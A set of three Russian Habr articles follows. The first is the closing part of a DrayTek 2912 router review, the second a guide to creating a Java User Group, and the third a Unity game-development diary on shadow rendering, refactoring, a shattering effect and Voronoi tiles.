Аналогичным образом настраивается второй VPN-клиент который будет динамически подключаться по preshared ключу который мы ранее указали в подменю IPsec General Setup как draytek.commmmm.
Рис 42
После успешного подключения в подменю *Connection Management* мы увидим активные соединения.
Рис. 43
Подменю LAN to LAN служит для настройки VPN соединений межу двумя сетями. Создаётся профиль LAN-to-LAN, в нём указываются все необходимые для создания подключения настройки: тип соединения – входящее, исходящее или двухсторонне, протокол VPN – PPTP, L2TP with IPsec Policy или IPsec Tunnel, в зависимости от протокола, специфические настройки, например, логин или пароль или IKE Pre-Shared Key, метод шифрования и прочее. На самом деле, настроек не так много, и они простые в общем случае. Указывается, какую локальную сеть должна «видеть» удалённая сторона и в какую удалённую сеть маршрутизировать трафик через данное VPN-соединение.
После сохранения настроек соединения, локальная сторона будет инициировать соединение или ожидать входящее соединение от удалённой стороны — в зависимости от настроек.
Установленное соединение можно также посмотреть в подменю *Connection Management*.
Меню Wireless LAN
-----------------
Маршрутизатор поддерживает беспроводную сеть стандарта 802.11n и имеет две всенаправленные антенны. Настроек функций беспроводной сети в маршрутизаторе большое количество.
Устройство поддерживает до 4х независимых беспроводных сети со своими настройками, причём для каждой из сетей можно ограничить максимальную полосу для исходящего и входящего трафика, а также включить расписание в соответствии с которым будут работать эти ограничения.
Ниже для иллюстрации настроек представлены подменю *General Setup и Security Settings*. Настройки очень наглядны.
Рис. 44
Для каждой из 4х беспроводных сетей настраиваются свои параметры безопасности, включая фильтры MAC-адресов. Для каждой сети можно включить квоту времени использования Wi-Fi на основании MAC-адреса и таймаут на повторное предоставление квоты.
Ниже представлено подменю *Station List,* в котором видны, подключённые в данный момент, беспроводные терминалы.
Рис. 45
Кроме этого, в подменю *Access Control*, можно включить фильтр MAC-адресов, причём создать как белые, так и чёрные списки MAC-адресов. Списки можно сохранять в файл на компьютер или выгружать из файл при необходимости.
В подменю *Advanced Setting* содержатся тонкие настройки радиоканала, например, исходящая мощность сигнала, режим работы, ширина канала, длина фрагментов и другие.
Беспроводная есть также поддерживает настройку через *WPS (Wi-Fi Protected Setup) и WDS* настройки, которые можно найти в соответствующих подпунктах меню *Wireless LAN*.
Меню USB Application
--------------------
На маршрутизаторе есть USB-порт, который может быть использован в трёх различных режимах. Во-первых, подключения USB модема 3G/4G для резервирования Интернет-соединения или как основное Интернет-соединение, если других способов подключения к Интернет не имеется.
Во-вторых, подключения USB-принтера к маршрутизатору, который становится принт-сервером и им смогут воспользоваться пользователи, настроив к нему доступ по сети.
Рис. 46
На изображении выше, пример, в котором USB-порт используется для подключения накопителя и обмена файлами по сети по протоколам FTP и SMB. Созданы два пользователя с разными домашними директориями. На изображении ниже, пример подменю *USB Device Status,* где мы видим, что к USB-порту подключен накопитель объёмом 8 Гигабайт и виден список активных пользователей которые подключены к нему по сети.
Рис. 47
Фото USB Application >> File Explorer и Фото USB Application >> USB Device Status
В-третьих, подключить USB-накопитель и предоставить общий доступ к файлам диска по FTP или NetBios/SMB. Список поддерживаемых модемов можно посмотреть в подменю Modem Support List, а список LAN клиентов можно посмотреть в подменю SMB Client Support List.
При подключении 3G/4G модема или принтера, их статус будет отражаться на соответствующих вкладках Modem и Printer подменю *USB Device Status*.
Меню System Maintenance
-----------------------
В меню собраны сервисные функции маршрутизатора. Здесь можно установить новый пароль для пользователей с правами User и Administrator, настроить протокол TR-069 для внешнего управления устройством. В подменю *Configuration Backup* можно сохранить текущую конфигурацию роутера или восстановить из ранее сохраненной. Подменю *Configuration Backup* служит для настройки отправки по сети системных журналов SysLog, можно также указать какие из журналов нужно записывать. Дополнительно, можно настроить отправку уведомлений по электронной почте.
Рис. 48
К слову, у Draytek есть бесплатная утилита для упрощения просмотра и хранения syslog на удалённом компьютере. Называется она Draytek Syslog. Ниже приведён снимок экрана интерфейса.
Рис. 49
В подменю *Management* выполняется настройка разрешений на удалённое управление. Причём в случае необходимости, нужно отдельно разрешить управление из Интернета, то есть с WAN интерфейсов.
Рис. 50
Меню Diagnostics
----------------
Функций диагностики на маршрутизаторе большое количество, мне это очень нравится — практически любую задачу по диагностике состояния можно решить через это меню.
В подменю *Routing Table* полная таблица маршрутизации, в *ARP Cache Table* список всех MAC-адресов в локальной сети, в *DHCP-Table* список всех активных DHCP-клиентов, есть таблицы NAT-сессий и кэша DNS-записей.
Рис. 51
Конечно же присутствуют *Ping* и *Traceroute*. Есть возможность включения и локального просмотра системных логов маршрутизатора, причём они разбиты по типам основных подсистем: VPN, Firewall, WAN и другие.
Рис. 52
В подменю *Traffic Graph* можно, в графическом виде, оценить утилизацию WAN интерфейсов или число сессий.
Рис. 53
Выводы
------
Мы очень подробно рассмотрели серию маршрутизаторов [Draytek 2912/2912n](http://draytek-russia.ru). Это устройство, которое содержит все необходимые сетевые функции в одном корпусе и идеально подходит для небольшого офиса, поэтому приобретая его, владелец, экономит деньги за счет отсутствия необходимости приобретать дополнительное сетевое оборудование которое могло бы реализовать отдельные функции Draytek 2912n, например, межсетевой экран, точку доступа, VPN-концентратор, сетевой принтер или NAS-сервер для хранения общих документов.
В первой части обзора мы определили позиционирование устройства, подробно рассмотрели типовой сценарий использования маршрутизатора, подробно описали все ключевые характеристики и преимущества, посмотрели подробную техническую спецификацию – она впечатляет.
Дополнительное программное обеспечение Draytek VigorACS SI, для больших инсталляций, позволит без труда управлять и обслуживать огромный парк маршрутизаторов, для единичной инсталляции, программное обеспечение Draytek Smart Monitor предназначенное для мониторинга и анализа трафика станет незаменимым помощником для отладки сети и мониторинга пользователей. Мы посмотрели комплектацию и внешний вид устройства, индикацию и интерфейсы, затем протестировали максимальную пропускную способность маршрутизатора в нескольких режимах. Все результаты соответствуют заявленным производителем цифрами.
Во второй части обзора, которую вы сейчас читаете, мы детально рассмотрели каждый пункт меню, с примерами настройки таких функции и интерфейсов как WAN и LAN, балансировка нагрузки и политики маршрутизации, беспроводная сеть, VPN, межсетевой экран, NAT управление пропускной способностью, а также функции USB, диагностики и мониторинга маршрутизатора. Что касается документации, в процессе настройки и тестирования, я много раз к ней обращался и легко находил ответы – все функции хорошо описаны, а разделы где они находятся чётко структурированы. Работа с маршрутизатором и документацией к нему, оставила только хорошие впечатления.
Маршрутизатор Draytek 2912 очень функционален, и прост в настройке, может управляться через веб-браузер, интерфейс командной строки CLI или протокол TR-69. Кроме того, дополнительное ПО VigorACS SI и Smart Monitor для мониторинга и управления как отдельными устройствами, так и большим парком в сотни или тысячи устройств поможет существенно сократить затраты на инсталляцию и техническое обслуживание устройств. Поэтому Draytek 2912 имеет огромный потенциал для использования как в корпоративных сетях небольших компаний, так и отдельных офисах крупных предприятий. Также, отмечу хорошее качество программного обеспечения, высокую производительность и надёжность, проверенную временем. | https://habr.com/ru/post/395129/ | null | ru | null |
# JUG в каждый город
[Java User Groups](http://en.wikipedia.org/wiki/Java_User_Group) (JUGs) – это волонтерские организации Java-разработчиков призванные объединить Java-программистов, пользователей Java и IT-компании. Обычно объединенные по географическому признаку, например [Московское сообщество Java-разработчиков](http://jug.msk.ru) или [Белорусская Java User Group](http://www.belarusjug.org). Они предоставляют место встречи для пользователей Java, чтобы обмениваться информацией, обсуждать проблемы и решения из мира Java и, прежде всего, ***пить пиво, есть пиццу и получать удовольствие.***
*Типичный JUG event*
*JUG Пакистан*
##### JUG в России
Давайте посмотрим на карту [Java User Groups International Map](https://www.java.net/jug-profile-map)
Лично мне становится обидно, получается, на всей огромной территории нашей страны существует только Московский JUG, Питерский JUG и Омский JUG *(возможно есть и другие просто их нет на карте, но никакой информации о них я не нашел)*. Даже в Уганде и Лагосе есть свой JUG — регионы, ау!
##### Зачем это надо?
Всем известна ситуация на рынке труда, спрос на java – разработчиков очень высок, если в Москве еще реально найти «квалифицированные» кадры то в регионах это почти нереально.
Периодически ко мне обращаются с такими вопросами:
— Привет, у тебя тут остались знакомые которые знают Java? А то проект намечается.
*(«тут» в городе откуда я родом, сейчас я живу в Москве)*
— хм… да, но они скорее всего заняты
— ну вдруг там подрос кто?
….
Люди уходят в фриланс, начинают стартапы и одному потянуть проект нереально. Привлечь в свои ряды гуру с 20-летним опытом вам врятли удастся, а вот начинающие, делающие первые шаги джуниоры, то что надо и площадка JUG отличное место для общения и заведения нужных знакомств.
##### Как создать свой JUG
* Для начала регистрируемся на [java.net](http://java.net)
* Далее переходим на [страницу создания](https://www.java.net//request_project.csp), знакомимся с требованиями к проекту и жмем *Create Project*
* Заполняем поле Project Name, это имя будет использоваться в URL имя\_проекта.java.net и Description, выбираем Source License, жмем create.
После этого вам на почту придет поздравление с тем, что ваш проект успешно создан.
Итак, наш проект создан, давайте посмотрим что нам предоставляет java.net
* багтрекер – можно выбрать JIRA или Bugzilla
* репозиторий – subversion, mercurial или git
* список рассылок
* файловое хранилище
* форум
* чат
* wiki
* и еще какие-то мелочи
JUG создан, но на данный момент он является приватным, его нет в [Jugs List](https://www.java.net/jugs-list-alphabetical) и нет на [карте](https://www.java.net/jug-profile-map). Чтобы сделать проект публичным, нужно в свободной форме написать менеджеру *(Java.net Community Manager)* с просьбой открыть проект. Если все ок, через некоторое время (несколько часов) вам ответят и откроют проект.
Чтобы добавить ваш JUG на карту — [Java User Groups International Map](https://www.java.net/jug-profile-map) нужно на почту комъюнити менеджера отправить xml определенного вида, например:
```
Baikal Web Developer JUG
Up to a maximum of 250 characters of general group description text can precede
the JUG Leader and JUG Site information.<br/>
<b>Leaders:</b> <a href="http://ilinchik.ru">Anton Ilinchik</a> <br/>
<b>Site:</b> https://baikal.java.net/
107.600000,51.833333,0
#jugStyle
```
И новый JUG появится на карте
Теперь ваш JUG официально зарегистрирован, он есть в списке и на карте, теперь дело за малым – готовим доклады, ищем спонсоров, закупаем пиво и пиццу и возможно вас ждет успех [BeJUG (Belgium Java User Group)](http://www.bejug.org) который перерос в огромную конференцию [Devoxx](http://www.devoxx.com/). | https://habr.com/ru/post/198910/ | null | ru | null |
# Усатый стрелок с полигональным пузом. Часть вторая
Рассказ про разработку проекта похож на паутину: повсюду тянутся ниточки ассоциаций, истории про интересные идеи. А иногда нити повествования обвиваются коконом вокруг необычного бага. Вот и сейчас, материала накопилось столько, что приходится начинать работать над второй частью статьи до того, как первая опубликована.
> А теперь, когда опубликована вторая часть, материала достаточно и для третьей части! :)
Сегодня в программе: смесь визуала и архитектуры проекта. Но сначала, ещё парочка деталей про тени.
Итак, поехали!
Статьи
------
* [Первая часть. Усатый стрелок из двадцати трёх полигонов.](https://habrahabr.ru/post/322262/)
* Вторая часть. Усатый стрелок с полигональным пузом.
Оглавление
----------
* [Менеджер теней](https://habrahabr.ru/post/326840/#img-width40-height44-srchttpshabrastorageorgweb9cf605c399cf605c393044a5c8634fe30e74663fcpnglevel-34-menedzher-teney)
* [Рефакторинг архитектуры](https://habrahabr.ru/post/326840/#img-width40-height44-srchttpshabrastorageorgweb393c7465a393c7465aa104b6f82d21abe6fb2c4a2pnglevel-41-refaktoring-arhitektury)
* [Рефакторинг игровых объектов](https://habrahabr.ru/post/326840/#img-width40-height44-srchttpshabrastorageorgweb0804a829a0804a829a9824c6e81bd07cf223a7dbbpnglevel-42-refaktoring-igrovyh-obektov)
* [Эффект гибели](https://habrahabr.ru/post/326840/#img-width40-height44-srchttpshabrastorageorgweba2964bdf0a2964bdf0ef44e45894126b0aa3b0941pnglevel-51-effekt-gibeli)
* [Эффект пятен](https://habrahabr.ru/post/326840/#img-width40-height44-srchttpshabrastorageorgweb7adf1cf747adf1cf74a59468491e43d3482e551f5pnglevel-521-effekt-pyaten)
* [Рендеринг тайлов](https://habrahabr.ru/post/326840/#img-width40-height44-srchttpshabrastorageorgweb4479a83b34479a83b3791422a87016b00f99b53f9pnglevel-522-rendering-taylov)
* [Заключение второй части](https://habrahabr.ru/post/326840/#zaklyuchenie)
Level 3.4. Менеджер теней.
--------------------------
Как вы помните, тени уже генерируются на CPU с кучей оптимизаций. А вот их отрисовку нужно доработать. Пока я разбирался с генерацией, мне нужен был самый простой способ рендеринга, поэтому всё работает так:
1. У каждого объекта, отбрасывающего тень, два потомка, которые рендерят тени с разными шейдерами (один только back — грани, другой — front);
2. На сцене лежит огромный спрайт, который отрисовывается самым последним, и подкрашивается в нужный цвет, если в стенсиле ненулевое значение.
**Догадываетесь, какие проблемы это вызывает?**
1. Самое простое — дублирование объектов (по два одинаковых потомка у каждого элемента). Избавиться от них, сделав двухпроходный шейдер — не вариант, т.к. объекты с многопроходными шейдерами не умеют батчиться;
2. Далее, возможность сделать только один источник света с тенями;
3. Очень скупые возможности по работе со светом (т.к. по сути, света и нет, только тень). Так что сделать цветную тень можно, а цветное освещение — нет;
4. Стенсил буфер занят целиком и его не получится использовать для других эффектов.
Идея простая: вынести рендеринг теней в отдельный проход, добавив возможность отбрасывать тени любому количеству источников света (да-да, fps будет проседать).
Всего потребовалось несколько классов:
* **LightSource**, фонарик с бесконечной дальностью, настройкой цветов тени и освещения;
* **IShadowSource**, интерфейс с функцией пересчёта тени void RebuildShadow(Vector3 lightPosition);
* **ShadowRenderer**, который регистрирует все источники света и теней и умеет рендерить тени.
Код написан, шейдеры проверены, можно двигаться дальше. И тут начались проблемы.
*Забагованные тени.*
На изображении выше целых две проблемы.
Во-первых, тени слишком длинные и иногда неправильно перекрывают объекты. Такое может быть, если тени рендерятся поверх пустого z-buffer'а (другие объекты могут перекрывать тень, но сами тени в z-buffer ничего не пишут).
Во-вторых, тени в каком-то странном шуме. Такое бывает, если работать с неочищенным буфером.
Итак, проблема в том, что z-buffer, с которым я работаю, судя по всему, не использовался камерой. Рендеринг кадра сейчас работает так:
1. Рендеринг сцены в RenderTexture;
2. Рендеринг тени, depth-buffer берётся из п.1, а color-buffer свой (об этом ниже);
3. Композинг теней и отрендереной сцены;
4. Постэффекты.
**Про раздельное использование буферов.**
Когда работаешь с постэффектами зачастую нужно с помощью какого-то шейдера преобразовать текстуру. В Unity3D для этого есть метод [Graphics.Blit](https://docs.unity3d.com/ScriptReference/Graphics.Blit.html). Мы передаём в него исходную текстуру, указываем target — куда отрисовывать, материал и даже проход шейдера.
По сути, мы работаем минимум с тремя различными буферами:
1. Исходный color buffer, откуда мы читаем цвета пикселей;
2. Целевой color buffer, куда мы пишем цвета;
3. Depth+stencil buffer, в который мы пишем (и из которого читаем глубину и данные стенсила).
И в методе *Graphics.Blit* целевой color buffer и depth buffer неразделимы. Т.е., если нам нужно, например, читать глубину геометрии сцены из исходной текстуры, а записывать пиксели в целевую — облом.
Или если мы сделали рендеринг сцены в текстуру, при этом часть шейдеров записала данные в стенсил, а теперь хотим получить новую текстуру, воспользовавшись этими данными (и сохранив исходную текстуру!) — тоже облом.
Выход есть и в документации Unity3D об этом прямо сказано:
> Note that if you want to use depth or stencil buffer that is part of the source (Render)texture, you'll have to do equivalent of Blit functionality manually — i.e. Graphics.SetRenderTarget with destination color buffer and source depth buffer, setup orthographic projection (GL.LoadOrtho), setup material pass (Material.SetPass) and draw a quad (GL.Begin).
В общем, модифицированная версия Blit, позволяющая разделить передачу буферов:
```
static void Blit(RenderBuffer colorBuffer, RenderBuffer depthBuffer, Material material) {
Graphics.SetRenderTarget(colorBuffer, depthBuffer);
GL.PushMatrix();
GL.LoadOrtho();
for (int i = 0, passCount = material.passCount; i < passCount; ++i) {
material.SetPass(i);
GL.Begin(GL.QUADS);
GL.TexCoord(new Vector3(0, 0, 0));
GL.Vertex3(0, 0, 0);
GL.TexCoord(new Vector3(0, 1, 0));
GL.Vertex3(0, 1, 0);
GL.TexCoord(new Vector3(1, 1, 0));
GL.Vertex3(1, 1, 0);
GL.TexCoord(new Vector3(1, 0, 0));
GL.Vertex3(1, 0, 0);
GL.End();
}
GL.PopMatrix();
Graphics.SetRenderTarget(null);
}
```
Использование в коде:
```
void RenderShadowEffect(RenderTexture source, RenderTexture target, LightSource light) {
shadowEffect.SetColor("_ShadowColor", light.ShadowColor);
shadowEffect.SetColor("_LightColor", light.LightColor);
shadowEffect.SetTexture("_WorldTexture", source);
shadowEffect.SetTexture("_ShadowedTexture", target);
Blit(target.colorBuffer, source.depthBuffer, shadowEffect);
}
```
Итак, в чем же дело? Почему моя RenderTexture, в которую я рендерю камеру на выходе совершенно пуста (и даже не очищена от мусора)?
Выключаю тени и смотрю, что показывает frame debug:
*Странные рендер-текстуры.*
Любопытно. Судя по всему, постэффект антиалиасинга принудительно переводит камеру на рендеринг в свою текстуру. При этом доступа до этой текстуры у меня нет: при дебаге в Camera.аctiveTexture пустая.
Ах, так, антиалиасинг! Лезешь в мою последовательность отрисовки? Тогда я залезу в твой код!
Постэффекты работают через метод [MonoBehaviour.OnRenderImage](https://docs.unity3d.com/ScriptReference/MonoBehaviour.OnRenderImage.html), а я через [MonoBehaviour.OnRenderImage](https://docs.unity3d.com/ScriptReference/MonoBehaviour.OnPreRender.html) и
[MonoBehaviour.OnPostRender](https://docs.unity3d.com/ScriptReference/MonoBehaviour.OnPostRender.html). Делаю грязный хак: переименовываю OnRenderImage в Apply и вызываю его руками, после рендеринга теней, с моими renderTexture. Теперь антиалиасинг не мешает теням.
Новые тени позволяют делать смешные, но не очень нужные штуки вроде хроматической aберрации или гладких теней.
*Сотня обычных бледных теней с небольшим смещением.*
*Три цветных тени.*
Пока тени притормаживают на мобилках (съедают примерно 10 — 15 лишних fps). Если все будет грустно, переведу под конец все в однопроходную отрисовку, а пока не буду налегать на источники света.
> Хинт: импровизируйте в отладке графики! Отлаживать вертексные шейдеры бывает больно, поэтому визуализируйте все данные, которые сможете: вытягивайте вертексы вдоль нормалей, добавляйте цвет и прозрачность и т.д.
>
> 
>
> *Дебажная визуализация через шейдеры и гизмо.*
Оказалось, что добавлять новые классы стало тяжелее из-за некоторых неудачных проектных решений.
*Todo: почистить архитектуру и код проекта*
Level 4.1. Рефакторинг архитектуры.
-----------------------------------
Как вы помните, я развиваю проект с прототипа. Но тянуть все прототипную архитектуру (знаете, какая архитектура в прототипах, написанных за 2 часа?) не хочется, значит, нужен рефакторинг.
Итак:
Для начала выношу как можно больше данных из *MonoBehaviour* в *ScriptableObject*. Это всяческие стили, настройки, библиотека префабов;
*Настройки проекта.*
Разбиваю всю логику на маленькие классы, например, *BulletCaster* или *MovableObject*. Каждый из них содержит в себе нужные настройки и преследует только одну цель.
**Эти классы обладают очень простым интерфейсом.**
```
public class BulletCaster : MonoBehaviour {
public void CastBullet(Vector2 direction);
}
public class MovingBody : MonoBehaviour {
public Vector2 Direction {get; set;}
public bool IsStopped {get; set;}
}
```
*Из микроклассов можно собрать сложную логику.*
Убираю прямые зависимости от синглтонов (Clock, ShadowManager и т.д.) и реализую паттерн service locator (несколько спорная вещь, но куда аккуратнее, чем россыпь синглтонов).
Реализую обработку столкновений через слои, оптимизирую их, явно убирая невозможные столкновения (например, статика <-> статика).
Оптимизирую создание объектов, написав глобальный pool. Думаю, это очередной велосипед, но мне хотелось написать его своими руками. Пул умеет создавать объекты по ключу-префабу, инициализировать их после создания, уведомлять объекты о создании/удалении.
**А однажды с пулом вышел забавный казус.**
У моих пуль есть ограничение по времени жизни (примерно 10 секунд "незамороженного" времени). Как то раз появился странный баг: часть пуль исчезала прямо в воздухе, словно кулдаун наступал раньше срока и пуля исчезала по таймеру.
Отловить было сложно: не все пули исчезали, а дебажить каждую, надеясь, что хоть одна исчезнет — очень утомительно.
Впрочем, удалось выяснить два странных факта:
1. Пули начинали исчезать только после перезапуска уровня;
2. Код, ответственный за удаление пуль вообще не вызывался.
Самое важное правило в очередной раз не подвело:
> Чем страннее кажется баг, тем глупее его причины.
Итак, наслаждайтесь:
1. Уровни пересоздаются на одной сцене, без перезагрузки;
2. При создании уровня я забыл удалять старые стены (т.к. уровень одинаковый, это не было заметно нигде, кроме иерархии;
3. Когда пуля касалась такой двойной стены, обработчик коллизии вызывался дважды;
4. В обработчике коллизии пуля удаляется (добавляется в пул). Таким образом, в данных пула оказывалось две ссылки на одну и ту же пулю;
5. Через какое-то время игрок стрелял этой пулей;
6. При попытке выстрелить ещё раз из пула забиралась ссылка на уже активную, летящую пулю. Она переинициализировалась, меняла свои координаты и "предыдущая" пуля исчезала прямо в воздухе.
Конечно, такая ошибка могла быть и без старых стен, при сложных коллизиях. Поэтому я добавил проверки на активность объекта при столкновениях и, конечно, начал удалять старые стены.
Вспоминаю про проблему с неудобным тачем и реализую TouchManager. Он запоминает последнее прикосновение и трекает только его. Он сохраняет N последних движений, игнорируя слишком короткие (дрожание пальца). В момент, когда палец или мышь перестали касаться экрана, менеджер рассчитывает направление и длину жеста. Если жест слишком короткий — менеджер игнорирует его: игрок передумал, не выбрав чёткого направления.
Теперь код стал более читаемым, добавлять новые классы стало проще, а ощущение, что архитектура проекта развалится при добавлении самой последней фичи перед релизом, исчезло.
Можно вернуться к арту и игровой логике. По правде говоря, и в логике игры не мешало бы провести чистку.
*Todo: подумать над геймплейными элементами, понятностью и простотой геймплея для игрока.*
Level 4.2. Рефакторинг игровых объектов
---------------------------------------
Когда я обдумывал геймплейные фичи, я был заворожён огромным количеством возможностей. Судите сами, все объекты могут обладать четырьмя ортогональными характеристиками:
1. Отражает ли пули или поглощает их?
2. Уничтожим ли объект пулей?
3. Подвижен ли или статичен?
4. Каков тип объекта (игрок/враг/гражданский)?
Все эти характеристики можно скомбинировать и даже менять на лету. Но как показать это игроку? Сначала мой список объектов выглядел так:
1. *Обычные стены*. Поглощают пули;
2. *Зеркальные стены*. Отражают пули;
3. *Многоэтажные стены*. Каждый этаж — обычный или зеркальный. При попадании пули нижний этаж уничтожается, верхние падают вниз. Так можно делать счётчики и т.д.;
4. *Ящики*. Динамические, но неуничтожимые, поглощают пули;
5. *Зеркальные ящики*. Динамические, но неуничтожимые, отражают пули.;
6. *Цыплята*. Динамические, уничтожимые, игрок теряет очки при их гибели;
7. *Враги*. Динамические, уничтожимые, нужно победить всех для прохождения уровня;
8. *Зеркальные враги*. Обычные враги, но пуля, уничтожая врага, отражается;
9. *Кристаллы*. Динамические, уничтожаются пулей, если игрок коснётся их, он получает бонус;
10. *Игрок*.
*Все доступные объекты.*
У меня явно будут проблемы с понятной визуализацией всей этой красоты. Когда я начинал работать над low-poly версией, я планировал использовать простое цветовое кодирование:
1. Цвет кромки определяет тип объекта;
2. Белый цвет потолка обозначает статический объект (стену), тонированный в цвет кромки потолок — динамический.
Например, серая кромка означает, что объект поглотит пулю, фиолетовая — отразит. Но получается, что цвет кромки должен кодировать очень много свойств. Слишком сложно. Нахожу типы объектов с очевидными проблемами:
1. Многоэтажные стены. Когда остаётся только один этаж — он не будет отличаться от обычной стены. Но он будет уничтожим. Или нет? Очень нелогичная фича;
2. Зеркальные ящики. Пуля всегда движется с одной скоростью. Переотражаясь от ящиков, она будет их бесконечно и непредсказуемо ускорять;
3. Зеркальные враги. Придётся использовать другой цвет, не похожий ни на "вражеский", ни на "зеркальный". Эта сущность только путает все карты.
Итого, остаётся:
1. Два типа стен, обычные и зеркальные;
2. Игрок;
3. Цыплята;
4. Враги;
5. Кристаллы;
6. Ящики.
*Объекты, оставшиеся после чистки.*
Всё хорошо кодируется цветом, объектов стало мало, но есть простор для левелдизайна.
Теперь, когда я определился с игровыми сущностями и почистил код от мусора, можно довести графику до финального состояния. Это и эффекты и физика, и всякие интерфейсные элементы. Короче говоря, работы много.
*Todo: начать разработку релизных эффектов.*
Level 5.1. Эффект гибели.
-------------------------
> Точный, выверенный жест и ход сделан. Пуля летит, отражается от стены, проходит в считанных пикселях от игрока, задевает кромку другого отражателя и вновь меняет направление. Теперь она нацелена в последнего противника на карте. Ход закончен. Новый ход, в ожидании победы. Направление уже не важно: прошлая пуля сделает своё дело. Итак, законы геометрии неумолимы и снаряд находит свою цель. Пуля касается врага… И враг просто исчезает. Вот облом.
Да, хочется какого-то фана при попадании пули. Чтобы игра визуально говорила:
* "Да, чел, ты это сделал! Ты расфигачил его в чёртовой бабушке!"
Или наоборот:
* "Аккуратнее, аккуратнее… Нееееет! Ты был так близко, а теперь придётся проходить все снова!"
Но сейчас при попадании пули элементы просто исчезают. Пробую сделать плавное погружение объектов сквозь пол. Выглядит медленно и неестественно, а ещё, непонятно, что объект уже уничтожен и с ним нельзя взаимодействовать.
Ладно, что требуется от эффекта гибели?
1. Он должен быть ярким, ощутимым и значимым;
2. Последствия гибели должны быть видны в течении всего уровня, помогая планировать перепрохождение, но не отвлекая.
Осколки! Пусть пуля разбивает противников на кусочки! Хм, а это не сложно? Неа, все объекты выпуклые, а резать выпуклые многоугольники — одно удовольствие.
На самом деле, просто разрезать противника пополам я не могу. Он состоит из нескольких мешей:
1. Внутренняя часть, выпуклый многоугольник, тут все просто;
2. Цветное кольцо. Оно мало того, что не выпуклое, да ещё и с дыркой. Но состоит из N (где N — количество сторон) выпуклых четырёхугольников. Так что просто сохраню их в массиве и разрежу каждый из них;
3. Внешняя сторона. По сути, это внешняя сторона четырёхугольников из предыдущего пункта. Но я буду работать с ней как с большим выпуклым многоугольником — для рендеринга боковых граней и физики через PolygonCollider2D.
*Части объекта, которые нужно разрезать отдельно.*
В результате алгоритм получается такой:
1. Преобразую объект (игрока, врага и т.д.) во внутреннюю часть, массив кусков кольца, внешнюю часть. В дальнейшем буду именовать эту структуру "Piece";
2. Нахожу геометрический центр для Piece;
3. Выбираю случайное направление и "провожу" прямую в этом направлении через геометрический центр;
4. Разрезаю Piece этой прямой. Для этого беру каждый многоугольник из Piece (кольцо, внутренняя и внешняя части или их кусочки):
4.1. Создаю *левый* и *правый* массив точек;
4.2. Указываю *текущий* массив — *левый*;
4.3. Добавляю первую точку многоугольника в *текущий* массив;
4.4. Прохожу по всем оставшимся точкам;
4.5. Если текущая и предыдущая точки находятся с одной стороны прямой, добавляю текущую точку в *текущий* массив;
4.5. Если текущая и предыдущая точки находятся с разных сторон прямой, нахожу точку пересечения, добавляю её и в *левый* и в *правый* массивы. Переключаю *текущий* массив на противоположный. Добавляю в новый *текущий* массив текущую точку.
5. Добавляю все *левые* осколки в новый *левый* Piece, а *правые* — в *правый*;
6. Снов разрезаю получившиеся осколки рекурсивно, до указанной глубины.
При каждом разрезании я делю объекты на две части, поэтому при трёх разрезаниях получается 8 осколков. Можно было бы немного "играть" с глубиной, но и так красиво.
Модифицирую код создания меша, коллайдера и тени многоугольника, чтобы он мог создавать ещё и осколки по заданным точкам.
*Получаю примерно такие осколки.*
> Сначала я планировал сделать кешированные разбиения и использовать только их, но оказалось, что разбиение в реалтайме не вызывает тормозов, а выглядит эффектнее.
>
>
>
> Осколки выявили неприятный баг с тенями: я неправильно искал силуэтные точки на многоугольниках. Именно из-за этого на предыдущем видео часть осколков отбрасывают тени лишь частично. Исправления уже доступны в предыдущей статье.
Итак, теперь при попадании пули в объект я подменяю последний на осколки. Объект убирается в пул, а осколки загружаются из пула и обновляют свои меши/коллайдеры согласно своей новой форме. Скорости для rigidBody рассчитываются исходя из скорости разрушенного элемента и направления пули. У осколков выключен флаг isBullet, они взаимодействуют только со стенами и друг с другом. У каждого осколка есть специальный класс FloorHider, он опускает объект по координате z сквозь пол, а после его полного исчезновения — удаляет (перемещает в пул.)
Небольшая ретроспектива:
1. Осколки — очень "физически" понятный образ. Поэтому он помогает понять концепцию остановки времени. Осколки начинают разлетаться, тут время останавливается и всё замирает. Игра перестала выглядеть детерминированно пошаговой;
2. Все осколки батчатся друг с другом и не тормозят;
3. Кристалл сейчас удаляется при прикосновении без эффектов. Может, тоже разбивать на кусочки?
4. Не хватает какого-то следа после уничтожений, хочется, чтобы на уровне оставались последствия атак;
5. Фаново смотрится, хочется стрелять!
*Осколки!*
Разлетающиеся на куски враги — весьма эффектный штрих, но он подпорчен тем, что осколки исчезают без всяких следов. Есть и ещё несколько причин, кроме эффектности, почему мне бы эти следы добавить.
*Todo: реализовать эффект следов от осколков.*
Level 5.2.1. Эффект пятен.
--------------------------
> Когда я думал над визуалом, у меня в голове крутилась идея "пятен крови", которые бы появлялись при гибели игрока или npc. На длинных уровнях такие пятна станут удобными метками для навигации. А в случае проигрыша помогут оценить начальное положение врагов и обдумать тактику повторного прохождения.
Итак, пятна. Вариант с декалями и отрисованными текстурами отбрасываю: мне кажется, так я выбьюсь из стиля. Пробую отобразить след от осколков или места их исчезновения. Смотрится плохо:
*Разные варианты пятен.*
Думаю над полноценной заливкой, среди вариантов прототипирую такой:
*Просто создание кучи треугольников.*
Да, этот вариант мне понравился больше. Но создавать множество треугольников с диким overdraw'ом — плохая идея. Впрочем, результат похож на мозаику, так что думаю в сторону диаграммы Вороного.
Вот только генерировать её на лету, особенно с последующей релаксацией Ллойда (релаксация делает ячейки схожими по размеру) на мобильных устройствах будет слишком больно. Нужен предрассчет. И отсюда очередная проблема: пятна могут быть на любом расстоянии друг от друга, и я, очевидно, не могу предрассчитать бесконечно большую диаграмму. Знаете, что такое тайлинг? :)
Для начала, нахожу подходящую [библиотеку](https://forum.unity3d.com/threads/delaunay-voronoi-diagram-library-for-unity.248962/) для генерации диаграммы Вороного.
Теперь разбираюсь с тайлингом. Построить диаграмму прямо на торе было бы идеальным решением, но лезть в дебри библиотеки или даже писать свою очень не хочется. Поэтому придумываю следующий алгоритм:
1. Создаю N точек в квадрате с координатами {-0.5, -0.5, 0.5, 0.5};
2. Для каждого Y в интервале [-tiles, tiles] и X в интервале [-tiles, tiles], кроме X = 0, Y = 0:
2.1. Копирую точки со смещением X, Y (при tiles = 1 получается 9 тайлов с моим начальным в центре);
3. Строю по всем точкам (включая смещённые клоны) диаграмму Вороного;
4. Применяю при необходимости релаксацию Ллойда;
5. Прохожу по всем получившимся полигонам и оставляю только те, у которых центр находится в исходном квадрате {-0.5, -0.5, 0.5, 0.5}.
В результате получается тайл с полигонами, у которого левая сторона идеально подходит к правой, верхняя — к нижней (с диагоналями — аналогично). На самом деле, не всё так гладко.
